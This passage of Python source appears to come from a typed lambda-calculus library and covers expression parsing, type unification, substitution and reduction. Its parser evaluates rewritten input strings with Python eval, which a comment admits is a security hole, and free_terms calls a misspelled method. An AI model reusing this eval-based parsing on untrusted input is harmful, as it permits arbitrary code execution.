adjustment, unify suggested a strengthened arg\"\n \" type, but could not accommodate: %s -> %s\"\n % (self.type, unify_target))\n return self\n else:\n return derived(result, self, derivation_reason)\n\n def try_adjust_type_local(self, unified_type, derivation_reason,\n assignment, env):\n # write an error instead of throwing an exception -- this is easier for\n # the user to handle atm\n logger.error(\"Unimplemented `try_adjust_type_local` in class '%s'\"\n % type(self).__name__)\n return None\n\n def get_type_env(self, force_recalc=False):\n if force_recalc:\n self._type_env = self.calc_type_env(recalculate=force_recalc)\n try:\n return self._type_env\n except AttributeError:\n self._type_env = self.calc_type_env(recalculate=force_recalc)\n return self._type_env\n\n def calc_type_env(self, recalculate=False):\n env = TypeEnv()\n for part in self:\n if isinstance(part, TypedExpr):\n env.merge(part.get_type_env(force_recalc=recalculate))\n return env\n\n def _unsafe_subst(self, i, s):\n self.args[i] = s\n return self\n\n def subst(self, i, s, assignment=None):\n s = TypedExpr.ensure_typed_expr(s)\n parts = list(self.args)\n old = parts[i]\n if not isinstance(old, TypedExpr):\n raise ValueError(\"Cannot perform substitution on non-TypedExpr %s\"\n % (old))\n ts = get_type_system()\n # check: is the type of the substitution compatible with the type of\n # what it is replacing?\n unified = ts.unify(s.type, old.type) # order matters: prioritize type\n # variables from the substitution\n if unified is None:\n raise TypeMismatch(s, old, \"Substitution for element %s of '%s'\"\n % (i, repr(self)))\n if unified != s.type:\n # compatible but unify suggested a new type for the substitution. \n # Try adjusting the type of the expression.\n s_a = s.try_adjust_type(unified)\n if s_a is None:\n raise TypeMismatch(s, old, \"Substitution for element %s of '%s'\"\n % (i, repr(self)))\n s = s_a\n parts[i] = s\n result = self.copy_local(*parts)\n return result\n\n @classmethod\n def parse(cls, s, assignment=None, locals=None):\n \"\"\"Attempt to parse a string `s` into a TypedExpr\n `assignment`: a variable assignment to use when parsing.\n `locals`: a dict to use as the local variables when parsing.\n \"\"\"\n if assignment is None:\n assignment = dict()\n ts = get_type_system()\n (struc, i) = parsing.parse_paren_str(s, 0, ts)\n return cls.try_parse_paren_struc_r(struc, assignment=assignment,\n locals=locals)\n\n _parsing_locals = dict()\n\n @classmethod\n def add_local(cls, l, value):\n cls._parsing_locals[l] = value\n\n @classmethod\n def del_local(cls, l):\n if l == \"TypedExpr\" or l == \"TypedTerm\":\n raise Exception(\"Cannot delete parsing local '%s'\" % l)\n del cls._parsing_locals[l]\n\n @classmethod\n def try_parse_flattened(cls, s, assignment=None, locals=None):\n \"\"\"Attempt to parse a flat, simplified string into a TypedExpr. Binding\n expressions should be already handled.\n \n assignment: a variable assignment to use when parsing.\n locals: a dict to use as the local variables when parsing.\n\n Do some regular expression magic to expand metalanguage terms into\n constructor/factory calls, and then call eval.\n\n The gist of the magic (see expand_terms):\n * replace some special cases with less reasonable operator names.\n (This is based on AIMA logic.py)\n * find things that look like term names, and surround them with calls\n to the term factory function.\n\n Certain special case results are wrapped in TypedExprs, e.g. sets and\n tuples.\n \"\"\"\n if locals is None:\n locals = dict()\n # Replace the alternative spellings of operators with canonical\n # spellings\n # TODO: derive from operator registry\n to_eval = s.replace('==>', '>>').replace('<==', '<<').replace('<=>', '%')\n to_eval = to_eval.replace('=/=', '^').replace('==', '%').replace('=>', '>>')\n lcopy = locals.copy()\n lcopy.update(cls._parsing_locals)\n to_eval = TypedExpr.expand_terms(to_eval, assignment=assignment,\n ignore=lcopy.keys())\n # Now eval the string. (A security hole; do not use with an adversary.)\n lcopy.update({'assignment': assignment, 'type_e': type_e})\n\n # cannot figure out a better way of doing this short of actually parsing\n # TODO: reimplement as a real parser, don't rely on `eval`\n global _parser_assignment\n _parser_assignment = assignment # not remotely thread-safe\n try:\n result = eval(to_eval, dict(), lcopy)\n except SyntaxError as e:\n raise parsing.ParseError(\"Failed to parse expression\", s=s, e=e)\n # other exceptions just get raised directly -- what comes up in\n # practice?\n _parser_assignment = None\n from .sets import ListedSet\n if isinstance(result, tuple):\n return Tuple(result)\n elif isinstance(result, set):\n return ListedSet(result)\n elif isinstance(result, dict) and len(result) == 0:\n # hack: empty dict is treated as empty set, so that \"{}\" makes sense\n return ListedSet(set())\n elif isinstance(result, TypedExpr):\n return result\n else:\n logger.warning(\"parse_flattened returning non-TypedExpr\")\n return result\n\n @classmethod\n def try_parse_binding_struc(cls, s, assignment=None, locals=None,\n vprefix=\"ilnb\"):\n \"\"\"Try to parse `s` as a binding operator expression. Will return a\n subclass of BindingOp, None, or raise a `parsing.ParseError`.\n\n the variable on the exception `met_preconditions` is used to attempt to\n figure out whether this was a plausible attempt at a binding operator\n expression, so as to get the error message right.\"\"\"\n try:\n return BindingOp.try_parse_binding_struc_r(s, assignment=assignment, locals=locals, vprefix=vprefix)\n except parsing.ParseError as e:\n if not e.met_preconditions:\n return None\n else:\n raise e\n\n @classmethod\n def try_parse_paren_struc_r(cls, struc, assignment=None, locals=None,\n vprefix=\"ilnb\"):\n \"\"\"Recursively try to parse a semi-AST with parenthetical structures\n matched.\"\"\"\n expr = cls.try_parse_binding_struc(struc, assignment=assignment,\n locals=locals, vprefix=vprefix)\n if expr is not None:\n return expr\n # struc is not primarily a binding expression\n s = \"\"\n h = dict()\n vnum = 1\n for sub in struc:\n if isinstance(sub, str):\n s += sub \n else:\n sub_expr = cls.try_parse_paren_struc_r(sub,\n assignment=assignment, locals=locals, vprefix=vprefix)\n var = vprefix + str(vnum)\n s += \"(\" + var + \")\"\n vnum += 1\n h[var] = sub_expr\n expr = cls.try_parse_flattened(s, assignment=assignment, locals=h)\n return expr\n\n\n @classmethod\n def try_parse_type(cls, s, onto=None):\n \"\"\"Attempt to get a type name out of s.\n\n Assumes s is already stripped.\"\"\"\n\n ts = get_type_system()\n result = ts.type_parser(s)\n return result\n\n @classmethod\n def try_parse_term_sequence(cls, s, lower_bound=1, upper_bound=None,\n assignment=None):\n s = s.strip()\n if len(s) == 0:\n sequence = list()\n i = 0\n else:\n v, typ, i = cls.parse_term(s, i=0, return_obj=False,\n assignment=assignment)\n sequence = [(v, typ)]\n if i < len(s):\n i = parsing.consume_whitespace(s, i)\n while i < len(s):\n i = parsing.consume_char(s, i, \",\",\n \"expected comma in variable sequence\")\n i = parsing.consume_whitespace(s, i)\n v, typ, i = cls.parse_term(s, i=i, return_obj=False,\n assignment=assignment)\n if v is None:\n raise parsing.ParseError(\n \"Failed to find term following comma in variable sequence\",\n s=s, i=i, met_preconditions=True)\n sequence.append((v, typ))\n if lower_bound and len(sequence) < lower_bound:\n raise parsing.ParseError(\n (\"Too few variables (%i < %i) in variable sequence\"\n % (len(sequence), lower_bound)),\n s=s, i=i, met_preconditions=True)\n if upper_bound and len(sequence) > upper_bound:\n raise parsing.ParseError(\n (\"Too many variables (%i > %i) in variable sequence\"\n % (len(sequence), upper_bound)),\n s=s, i=i, met_preconditions=True)\n return sequence\n\n @classmethod\n def try_parse_typed_term(cls, s, assignment=None, strict=False):\n \"\"\"Try to parse string 's' as a typed term.\n assignment: a variable assignment to parse s with.\n\n Format: n_t\n * 'n': a term name. \n - initial numeric: term is a number.\n - initial alphabetic: term is a variable or constant. (Variable:\n lowercase initial.)\n * 't': a type, optional. If absent, will either get it from\n assignment, or return None as the 2nd element.\n\n Returns a tuple of a variable name, and a type. If you want a\n TypedTerm, call one of the factory functions.\n \n Raises: TypeMismatch if the assignment supplies a type inconsistent\n with the specified one.\n \"\"\"\n\n seq = cls.try_parse_term_sequence(s, lower_bound=1, upper_bound=1,\n assignment=assignment)\n return seq[0]\n\n @classmethod\n def find_term_locations(cls, s, i=0):\n \"\"\"Find locations in a string `s` that are term names.\"\"\"\n term_re = re.compile(r'([a-zA-Z0-9]+)(_)?')\n unfiltered_result = parsing.find_pattern_locations(term_re, s, i=i,\n end=None)\n result = list()\n for r in unfiltered_result:\n if r.start() > 0 and s[r.start() - 1] == \".\":\n # result is prefaced by a \".\", and therefore is a functional\n # call or attribute\n continue\n result.append(r)\n return result\n\n @classmethod\n def expand_terms(cls, s, i=0, assignment=None, ignore=None):\n \"\"\"Treat terms as macros for term_factory calls. Attempt to find all\n term strings, and replace them with eval-able factory calls.\n\n This is an expanded version of the original regex approach; one reason\n to move away from that is that this will truely parse the types.\"\"\"\n terms = cls.find_term_locations(s, i)\n if ignore is None:\n ignore = set()\n offset = 0\n for t in terms:\n if t.start() + offset < i:\n # parsing has already consumed this candidate term, ignore.\n # (E.g. an \"e\" in a type signature.)\n continue\n (name, typ, end) = cls.parse_term(s, t.start() + offset,\n return_obj=False, assignment=assignment)\n if name is None:\n logger.warning(\"Unparsed term '%s'\" % t.group(0)) # TODO: more?\n continue\n elif name in ignore:\n continue\n # ugh this is sort of absurd\n if typ is None:\n replace = ('TypedExpr.term_factory(\"%s\", typ=None, assignment=assignment)' % (name))\n else:\n replace = ('TypedExpr.term_factory(\"%s\", typ=\"%s\", assignment=assignment)' % (name, repr(typ)))\n s = s[0:t.start() + offset] + replace + s[end:]\n i = t.start() + offset + len(replace)\n len_original = end - (t.start() + offset)\n offset += len(replace) - len_original\n return s\n\n\n @classmethod\n def parse_term(cls, s, i=0, return_obj=True, assignment=None):\n\n \"\"\"Parse position `i` in `s` as a term expression. A term expression\n is some alphanumeric sequence followed optionally by an underscore and\n a type. If a type is not specified locally, but is present in \n `assignment`, use that. If a type is specified and is present in\n `assignment`, check type compatibility immediately.\"\"\"\n\n ts = get_type_system()\n term_name, next = parsing.consume_pattern(s, i, r'([a-zA-Z0-9]+)(_)?',\n return_match=True)\n if not term_name:\n if return_obj:\n return (None, i)\n else:\n return (None, None, i)\n if term_name.group(2):\n # try to parse a type\n # if there is a _, will force an attempt\n typ, end = ts.type_parser_recursive(s, next)\n else:\n typ = None\n end = next\n\n if return_obj:\n term = cls.term_factory(term_name.group(1), typ=typ,\n assignment=assignment, preparsed=True)\n return (term, end)\n else:\n return (term_name.group(1), typ, end)\n\n @classmethod\n def term_factory(cls, s, typ=None, assignment=None, preparsed=False):\n \"\"\"Attempt to construct a TypedTerm from argument s.\n\n If s is already a TypedTerm, return a copy of the term.\n If s is a string, try to parse the string as a term name. (see\n try_parse_typed_term)\n Otherwise, fail.\n \"\"\"\n # TODO: if handed a complex TypedExpr, make a term referring to it??\n if isinstance(typ, str):\n ts = get_type_system()\n typ = ts.type_parser(typ)\n if (isinstance(s, TypedTerm)):\n # todo: handle conversion to custom\n result = s.copy()\n if typ is not None:\n result = result.try_adjust_type(typ, assignment=assignment)\n return result\n elif (isinstance(s, str)):\n if typ is None and not preparsed:\n v, typ = cls.try_parse_typed_term(s, assignment=assignment, strict=True)\n else:\n v = s\n v = utils.num_or_str(v)\n if typ is not None:\n type_vars = typ.bound_type_vars()\n global _constants_use_custom\n if _constants_use_custom and not is_var_symbol(v):\n return CustomTerm(v, typ=typ, assignment=assignment)\n else:\n return TypedTerm(v, typ=typ, assignment=assignment)\n else:\n raise NotImplementedError\n\n @classmethod\n def factory(cls, *args, assignment=None):\n \"\"\"Factory method for TypedExprs. Will return a TypedExpr or subclass.\n\n Special cases:\n * single arg, is a TypedExpr: will return a copy of that arg. (See\n ensure_typed_expr for alternate semantics.)\n * single arg, is a number: will return a TypedTerm using that number.\n * single arg, is a variable/constant name: will return a TypedTerm\n using that name. (Happens in parser magic.)\n * single arg, complex expression: will parse it using python syntax.\n (Happens in parser magic.)\n * multiple args: call the standard constructor.\n \"\"\"\n ### NOTE: do not edit this function lightly...\n global _parser_assignment\n if assignment is None:\n if _parser_assignment is None:\n assignment = dict()\n else:\n assignment = _parser_assignment # not remotely thread-safe\n if len(args) == 1 and isinstance(args[0], TypedExpr):\n # handing this a single TypedExpr always returns a copy of the\n # object. I set this case aside for clarity. subclasses must\n # implement copy() for this to work right.\n return args[0].copy()\n if len(args) == 0:\n return None #TODO something else?\n elif len(args) == 1:\n # args[0] is either an unsaturated function, a term, or a string\n # that needs parsed.\n # in the first two cases, return a unary TypedExpr\n s = args[0]\n if s is True or s is False or isinstance(s, Number):\n return from_python(s)\n elif isinstance(s, str):\n #return cls.parse_expr_string(s, assignment)\n return cls.parse(s, assignment)\n else:\n raise NotImplementedError\n else:\n # Argument length > 1. \n # This code path is for constructing complex TypedExprs where\n # args[0] must be a function / operator. Will potentially recurse\n # via ensure_typed_expr on all arguments.\n\n # this is redundant with the constructor, but I can't currently find\n # a way to simplify. After this point, all elements of args will be\n # TypedExprs.\n remainder = tuple([cls.ensure_typed_expr(a) for a in args[1:]])\n\n if isinstance(args[0], str):\n global registry\n if args[0] in registry.ops:\n # args[0] is a special-cased operator symbol\n return op_expr_factory(*((args[0],) + remainder))\n\n # the only kind of operator-expression generated after this point is\n # an ApplicationExpr.\n operator = cls.ensure_typed_expr(args[0])\n\n # package longer arg lengths in Tuples. After this point, there are\n # only two elements under consideration.\n if len(remainder) > 1:\n arg = Tuple(args[1:])\n else:\n arg = remainder[0]\n if (not operator.type.functional()) and operator.type_guessed:\n # special case: see if the type of the operator is guessed and\n # coerce accordingly\n\n # prevent future coercion of the argument\n arg.type_not_guessed()\n coerced_op = operator.try_coerce_new_argument(arg.type,\n assignment=assignment)\n if coerced_op is not None:\n logger.info(\n \"Coerced guessed type for '%s' into %s, \"\n \"to match argument '%s'\"\n % (repr(operator), coerced_op.type, repr(arg)))\n operator = coerced_op\n else:\n logger.warning(\n \"Unable to coerce guessed type %s for '%s' \"\n \"to match argument '%s' (type %s)\"\n % (operator.type, repr(operator), repr(arg), arg.type))\n result = ApplicationExpr(operator, arg, assignment=assignment)\n if result.let:\n result = derived(result.compact_type_vars(), result,\n \"Let substitution\")\n return result\n\n @classmethod\n def ensure_typed_expr(cls, s, typ=None, assignment=None):\n \"\"\"Coerce s to a typed expression if necessary, otherwise, return s.\"\"\"\n if isinstance(s, TypedExpr):\n if assignment is not None:\n result = s.under_assignment(assignment)\n else:\n result = s\n else:\n try:\n result = cls.factory(s, assignment=assignment)\n except NotImplementedError:\n raise ValueError(\n \"Do not know how to ensure TypedExpr for '%s'\" % repr(s))\n if typ is None:\n return result\n else:\n r_adjusted = result.try_adjust_type(typ, assignment=assignment)\n if r_adjusted is None:\n # make the reason a bit more coherent for people who don't\n # really know about type inference vs type checking\n reason = ((typ.is_polymorphic() or result.type.is_polymorphic())\n and \"type inference\" or \"type checking\")\n raise TypeMismatch(result, typ, mode=reason)\n else:\n return r_adjusted\n\n def try_coerce_new_argument(self, typ, remove_guessed=False,\n assignment=None):\n return None\n\n def type_not_guessed(self):\n \"\"\"Recursively set that the type of `self` is not a guess.\"\"\"\n self.type_guessed = False\n if isinstance(self.op, TypedExpr):\n self.op.type_not_guessed()\n\n def copy(self):\n \"\"\"Make a copy of the expression. Will not produce a deep copy.\n\n Relies on correctly implement `copy_local`.\n \"\"\"\n return self.copy_local(*self)\n\n def copy_local(self, *args, type_check=True):\n \"\"\"\n Make a copy of the element preserving everything *except* the AST.\n\n The default implementation calls the constructor with `args`, so if this\n isn't appropriate, you must override.\"\"\"\n return type(self)(*args)\n\n def deep_copy(self):\n accum = list()\n for p in self:\n if isinstance(p, TypedExpr):\n accum.append(p.deep_copy())\n else:\n accum.append(p)\n return self.copy_local(*accum, type_check=False)\n\n def type_env(self, constants=False, target=None, free_only=True):\n env = dict()\n for part in self:\n if isinstance(part, TypedExpr):\n env = merge_type_envs(env, part.type_env(constants=constants,\n target=target, free_only=free_only))\n return env\n\n def regularize_type_env(self, assignment=None, constants=False,\n target=None):\n if assignment is None:\n assignment = dict()\n env = self.get_type_env()\n return self.under_type_assignment(env.type_mapping,\n merge_intersect=False)\n\n\n def compact_type_vars(self, target=None, unsafe=None, used_vars_only=True,\n store_mapping=False):\n \"\"\"Compact the type variables on `self` into X variables with a low\n number. By default this will not store the mapping that resulted in\n the compaction, i.e. the type environment is a clean slate. For this\n reason, it is suitable only for let-bound contexts.\"\"\"\n history_env = self.get_type_env()\n if len(history_env.type_var_set) == 0:\n return self\n c = self.copy()\n # note: the following is already triggered by copy. If this behavior\n # changes, this needs updating.\n env = c.get_type_env()\n if len(env.type_var_set) == 0:\n return c\n if used_vars_only:\n tenv = env.type_var_set - set(env.type_mapping.keys())\n else:\n tenv = env.type_var_set\n if len(tenv) == 0:\n return self\n compacted_map = types.compact_type_set(tenv, unsafe=unsafe)\n result = self.under_type_injection(compacted_map)\n result._type_env_history = history_env\n if not store_mapping:\n result.get_type_env(force_recalc=True)\n return result\n\n\n def freshen_type_vars(self, target=None, unsafe=None, used_vars_only=False,\n store_mapping=False):\n history_env = self.get_type_env()\n if len(history_env.type_var_set) == 0:\n return self\n c = self.copy()\n # note: the following is already triggered by copy. If this behavior\n # changes, this needs updating.\n env = c.get_type_env()\n if used_vars_only:\n tenv = env.type_var_set - set(env.type_mapping.keys())\n else:\n tenv = env.type_var_set\n if len(tenv) == 0:\n return self\n fresh_map = types.freshen_type_set(tenv, unsafe=unsafe)\n result = self.under_type_injection(fresh_map)\n result._type_env_history = history_env\n if not store_mapping:\n result.get_type_env(force_recalc=True)\n return result\n\n def let_type(self, typ):\n result = self.try_adjust_type(typ)\n if result is None:\n return None\n if result.let:\n result = result.compact_type_vars()\n return result\n\n def has_type_vars(self):\n return len(self.get_type_env().type_var_set) > 0\n\n def _unsafe_under_type_injection(self, mapping):\n if len(mapping) == 0:\n return self\n for i in range(len(self)):\n self._unsafe_subst(i, self[i].under_type_injection(mapping))\n self.type = self.type.sub_type_vars(mapping)\n return self\n\n def under_type_injection(self, mapping):\n accum = list()\n for p in self:\n accum.append(p.under_type_injection(mapping))\n r = self.copy_local(*accum, type_check=False)\n r.type = r.type.sub_type_vars(mapping)\n if r.term():\n r.get_type_env(force_recalc=True)\n return r\n\n def under_type_assignment(self, mapping, reset=False, merge_intersect=True):\n # TODO: For somewhat irritating reasons, this is currently a _lot_\n # slower if reset=True\n\n if len(mapping) == 0:\n return self\n dirty = False\n parts = list()\n copy = self\n for part in copy:\n new_part = part.under_type_assignment(mapping, reset=reset)\n if new_part is not part:\n dirty = True\n else:\n if reset:\n new_part = new_part.copy()\n new_part.get_type_env(force_recalc=True)\n parts.append(new_part)\n # this may or may not be recalculated by copy_local. The main case\n # where it isn't is terms.\n copy_type = copy.type.sub_type_vars(mapping)\n # Note: we still need to reset the subordinate type environments even\n # in this case.\n if copy_type == self.type and not dirty:\n return self\n result = copy.copy_local(*parts)\n if result.term():\n result.type = copy_type\n if reset:\n result.get_type_env(force_recalc=True)\n if merge_intersect:\n result._type_env = result.get_type_env().intersect_merge(\n TypeEnv(type_mapping=mapping))\n else:\n result._type_env = result.get_type_env().merge(\n TypeEnv(type_mapping=mapping))\n # need to set a derivation step for this in the calling function.\n result.derivation = self.derivation\n return result\n\n def under_assignment(self, assignment):\n \"\"\"Use `assignment` to replace any appropriate variables in `self`.\"\"\"\n # do this first so that any errors show up before the recursive step\n if assignment is None:\n a2 = dict()\n else:\n a2 = {key: self.ensure_typed_expr(assignment[key])\n for key in assignment}\n return term_replace_unify(self, a2)\n\n # TODO: can the type env be used instead? It is effectively already\n # memoizing a superset of this information\n def free_terms(self, var_only=False):\n \"\"\"Find the set of variables that are free in the typed expression.\n \"\"\"\n result = set()\n # term case handled in subclass\n if isinstance(self.op, TypedExpr):\n result.update(self.op.free_terns(var_only=var_only))\n for a in self.args:\n result.update(a.free_terms(var_only=var_only))\n return result\n\n def free_variables(self):\n return self.free_terms(var_only=True)\n\n def bound_variables(self):\n \"\"\"Find the set of variables that are bound (somewhere) in a typed\n expression.\n\n Note that this may be overlapping with the set of free variables.\n \"\"\"\n result = set()\n for a in self.args:\n result.update(a.bound_variables())\n return result\n\n def find_safe_variable(self, starting=\"x\"):\n \"\"\"Find an a safe alpha variant of the starting point (by default: 'x'),\n that is not used in the expression.\"\"\"\n blockset = self.free_variables() | self.bound_variables()\n varname = alpha_variant(starting, blockset)\n return varname\n\n def term(self):\n return (isinstance(self.op, str) and len(self.args) == 0)\n\n def functional(self):\n funtype = unify(self.type, tp(\"\"))\n return (funtype is not None)\n\n def atomic(self):\n return len(self.args) == 0\n\n def simplify(self):\n return self\n\n def simplify_all(self):\n result = self\n dirty = False\n for i in range(len(result.args)):\n new_arg_i = result.args[i].simplify_all()\n if new_arg_i is not result.args[i]:\n dirty = True\n result = derived(result.subst(i, new_arg_i), result,\n desc=(\"Recursive simplification of argument %i\"\n % i),\n subexpression=new_arg_i)\n result = result.simplify()\n return result\n\n def reducible(self):\n return False\n\n def reduce(self):\n assert (not self.reducible())\n return self\n\n def reduce_sub(self, i):\n \"\"\"Applies reduce to a constituent term, determined by argument i.\"\"\"\n new_arg_i = self.args[i].reduce()\n if new_arg_i is not self.args[i]:\n result = self.copy()\n result.args[i] = new_arg_i\n if len(result.args) == 2 and isinstance(result, BindingOp):\n reason = \"Reduction of body\"\n else:\n reason = \"Reduction of operand %s\" % (i)\n return derived(result, self, desc=reason)\n return self\n\n def reduce_all(self):\n \"\"\"Maximally reduce function-argument combinations in `self`.\"\"\"\n\n # this is a dumb strategy: it's either not fully general (but I haven't\n # found the case yet), or it's way too inefficient, I'm not sure which;\n # probably both. The potential overkill is the recursive step.\n # TODO: research on reduction strategies.\n # TODO: add some kind of memoization?\n\n # uncomment this to see just how bad this function is...\n #print(\"reduce_all on '%s'\" % repr(self))\n result = self\n dirty = False\n for i in range(len(result.args)):\n new_arg_i = result.args[i].reduce_all()\n if new_arg_i is not result.args[i]:\n if not dirty:\n dirty = True\n args = list(result.args)\n args[i] = new_arg_i\n next_step = result.copy_local(*args)\n if len(result.args) == 2 and isinstance(result, BindingOp):\n reason = \"Recursive reduction of body\"\n else:\n reason = \"Recursive reduction of operand %s\" % (i)\n result = derived(next_step, result, desc=reason,\n subexpression=new_arg_i)\n self_dirty = False\n while result.reducible():\n new_result = result.reduce()\n if new_result is not result:\n dirty = True\n self_dirty = True\n result = new_result # no need to add a derivation here, reduce\n # will do that already\n else:\n break # should never happen...but prevent loops in case of error\n if self_dirty:\n new_result = result.reduce_all() # TODO: is this overkill?\n result = new_result\n return result\n\n\n def calculate_partiality(self, vars=None):\n condition = from_python(True)\n new_parts = list()\n for part in self:\n part_i = part.calculate_partiality(vars=vars)\n if isinstance(part_i, Partial):\n condition = condition & part_i.condition\n part_i = part_i.body\n new_parts.append(part_i)\n new_self = self.copy_local(*new_parts)\n condition = condition.simplify_all()\n if condition == from_python(True):\n intermediate = derived(Partial(new_self, condition), self,\n \"Partiality simplification\")\n return derived(new_self, intermediate, \"Partiality simplification\")\n else:\n return derived(Partial(new_self, condition), self,\n \"Partiality simplification\")\n\n\n def __call__(self, *args):\n \"\"\"Attempt to construct a saturated version of self. This constructs a\n composite TypedExpr, with the function (`self`) as the operator and the\n argument(s) as the arguments. Type checking happens immediately.\"\"\"\n \n return TypedExpr.factory(self, *args)\n\n\n def __repr__(self):\n \"\"\"Return a string representation of the TypedExpr.\n\n This is guaranteed (barring bugs) to produce a parsable string that\n builds the same object.\n \"\"\"\n assert not isinstance(self.op, TypedExpr)\n if not self.args: # Constant or proposition with arity 0\n return repr(self.op)\n elif len(self.args) == 1: # Prefix operator\n return repr(self.op) + repr(self.args[0])\n else: # Infix operator\n return '(%s)' % (' '+self.op+' ').join([repr(a) for a in self.args])\n\n def latex_str(self, **kwargs):\n \"\"\"Return a representation of the TypedExpr suitable for Jupyter\n Notebook display.\n\n In this case the output should be pure LaTeX.\"\"\"\n assert not isinstance(self.op, TypedExpr)\n if not self.args:\n return ensuremath(str(self.op))\n # past this point in the list of cases should only get hard-coded\n # operators\n elif len(self.args) == 1: # Prefix operator\n return ensuremath(self.op + self.args[0].latex_str(**kwargs))\n else: # Infix operator\n return ensuremath('(%s)' %\n (' ' + self.op + ' ').join(\n [a.latex_str(**kwargs) for a in self.args]))\n\n def _repr_latex_(self):\n return self.latex_str()\n\n def __str__(self):\n return \"%s, type %s\" % (self.__repr__(), self.type)\n\n def __eq__(self, other):\n \"\"\"x and y are equal iff their ops and args are equal.\n\n Note that this is a _syntactic_ notion of equality, not a _semantic_\n notion -- for example, two expressions would fail this notion of\n equality if one reduces to the other but that reduction has not been\n done. Alphabetic variants will also not come out as equal.\"\"\"\n\n # need to explicitly check this in case recursion accidentally descends into a string Op\n # TODO revisit\n if isinstance(other, TypedExpr):\n return (other is self) or (self.op == other.op and self.args == other.args and self.type == other.type)\n else:\n return False\n #TODO: equality by semantics, not syntax?\n\n def __ne__(self, other):\n return not self.__eq__(other)\n\n def __hash__(self):\n \"\"\"Need a hash method so TypedExprs can live in dicts.\n\n Note that there are some special cases to worry about: ListedSets are\n not guaranteed to hash correctly.\n \"\"\"\n # TODO: deal with ListedSets\n return hash(self.op) ^ hash(tuple(self.args)) ^ hash(self.type)\n\n def __getitem__(self, i):\n \"\"\"If `i` is a number, returns a part of `self` by index. \n index 0 always gives the operator.\n index >=1 gives whatever arguments there are. Note that this is\n shifted from the indexing of `self.args`.\n\n If `i` is a TypedExpr, try to construct an expression representing\n indexing.\"\"\"\n if isinstance(i, TypedExpr):\n return TupleIndex(self, i)\n else:\n return self.args[i]\n\n def __len__(self):\n \"\"\"Return the number of parts of `self`, including the operator.\"\"\"\n return len(self.args)\n\n # See http://www.python.org/doc/current/lib/module-operator.html\n # Not implemented: not, abs, pos, concat, contains, *item, *slice\n def __and__(self, other): return self.factory('&', self, other)\n def __invert__(self): return self.factory('~', self)\n def __lshift__(self, other): return self.factory('<<', self, other)\n def __rshift__(self, other): return self.factory('>>', self, other)\n def __or__(self, other): return self.factory('|', self, other)\n def __xor__(self, other): return self.factory('^', self, other)\n def __mod__(self, other): return self.factory('<=>', self, other)\n\n def __lt__(self, other): return self.factory('<', self, other)\n def __le__(self, other): return self.factory('<=', self, other)\n def __ge__(self, other): return self.factory('>=', self, other)\n def __gt__(self, other): return self.factory('>', self, other)\n def __add__(self, other): return self.factory('+', self, other)\n def __sub__(self, other): return self.factory('-', self, other)\n def __div__(self, other): return self.factory('/', self, other)\n def __truediv__(self, other):return self.factory('/', self, other)\n def __mul__(self, other): return self.factory('*', self, other)\n def __neg__(self): return self.factory('-', self)\n def __pos__(self): return self.factory('+', self)\n def __pow__(self, other): return self.factory('**', self, other)\n\n def __bool__(self):\n # otherwise, python tries to use the fact that these objects implement a\n # container interface to convert to bool, which can lead to weird\n # results.\n # TODO: revisit... (see also false_term)\n return True\n\n\nTypedExpr.add_local('TypedExpr', TypedExpr)\n\n\nclass ApplicationExpr(TypedExpr):\n def __init__(self, fun, arg, defer=False, assignment=None, type_check=True):\n if type_check and not defer:\n tc_result = self.fa_type_inference(fun, arg, assignment)\n if tc_result is None:\n if not fun.functional():\n raise TypeMismatch(fun, arg, \"Function-argument expression: left subexpression is not a function\")\n else:\n raise TypeMismatch(fun, arg, \"Function-argument expression: mismatched types\")\n fun, arg, out_type, history = tc_result\n op = \"Apply\"\n args = [fun, arg]\n self.type = out_type\n else:\n history = False\n op = \"Apply\"\n args = [fun, arg]\n # note: fun.type MUST be functional!\n self.type = fun.type.right\n super().__init__(op, *args, defer=defer)\n if fun.let and arg.let:\n self.let = True\n\n if history:\n # bit of a hack: build a derivation with the deferred version as\n # the origin\n old = ApplicationExpr(fun, arg, defer=True)\n derived(self, old, desc=\"Type inference\") \n if isinstance(fun, LFun):\n arg.type_not_guessed()\n else:\n # not 100% that the following is the right fix...\n try:\n self.type_guessed = fun.type_guessed\n except AttributeError:\n self.type_guessed = False\n\n def copy(self):\n return self.copy_local(self.args[0], self.args[1])\n\n def copy_local(self, fun, arg, type_check=True):\n result = ApplicationExpr(fun, arg, defer=self.defer,\n type_check=type_check)\n result.let = self.let\n result.type_guessed = self.type_guessed\n return result\n\n def latex_str(self, **kwargs):\n fun = self.args[0]\n arg = self.args[1]\n if isinstance(arg, Tuple):\n arg_str = arg.latex_str(**kwargs) # tuple already generates parens\n else:\n arg_str = \"(%s)\" % (arg.latex_str(**kwargs))\n if isinstance(fun, CustomTerm):\n return ensuremath(fun.custom_appl_latex(arg_str))\n elif isinstance(fun, LFun):\n return ensuremath(\"{[%s]}%s\" % (fun.latex_str(**kwargs), arg_str))\n else:\n return ensuremath('%s%s' % (fun.latex_str(**kwargs), arg_str))\n\n def __repr__(self):\n \"\"\"Return a string representation of the TypedExpr.\n\n This is guaranteed (barring bugs) to produce a parsable string that\n builds the same object.\n \"\"\"\n fun = self.args[0]\n arg = self.args[1]\n if isinstance(arg, Tuple):\n arg_str = repr(arg) # tuple already generates parens\n else:\n arg_str = \"(%s)\" % (repr(arg))\n if isinstance(fun, CustomTerm):\n return fun.custom_appl(arg_str) # TODO: ???\n elif isinstance(fun, LFun):\n return \"(%s)%s\" % (repr(fun), arg_str)\n else:\n return '%s%s' % (repr(fun), arg_str)\n\n def try_adjust_type_local(self, new_type, derivation_reason, assignment,\n env):\n fun = self.args[0]\n arg = self.args[1]\n (new_fun_type, new_arg_type, new_ret_type) = get_type_system().unify_fr(\n fun.type, new_type, assignment=env.type_mapping)\n if new_fun_type is None:\n return None\n new_fun = fun.try_adjust_type(new_fun_type,\n derivation_reason=derivation_reason,\n assignment=assignment)\n if new_fun is None:\n return None\n new_arg = arg.try_adjust_type(new_arg_type,\n derivation_reason=derivation_reason,\n assignment=assignment)\n if new_arg is None:\n return None\n result = self.copy_local(new_fun, new_arg, type_check=False)\n return result\n\n def try_coerce_new_argument(self, typ, remove_guessed=False,\n assignment=None):\n \"\"\"For guessed types, see if it is possible to coerce a new argument.\n Will recurse to find guessed types.\n\n This is not type inference. Rather, it is a convenience shorthand for\n writing n-ary extensional predicates without type annotation.\"\"\"\n if not self.type_guessed:\n return None\n result = self.args[0].try_coerce_new_argument(typ,\n assignment=assignment)\n\n if result is not None:\n copy = ApplicationExpr(result, self.args[1])\n if (remove_guessed):\n result.type_guessed = False\n return copy\n else:\n return None\n\n\n @classmethod\n def fa_type_inference(cls, fun, arg, assignment):\n 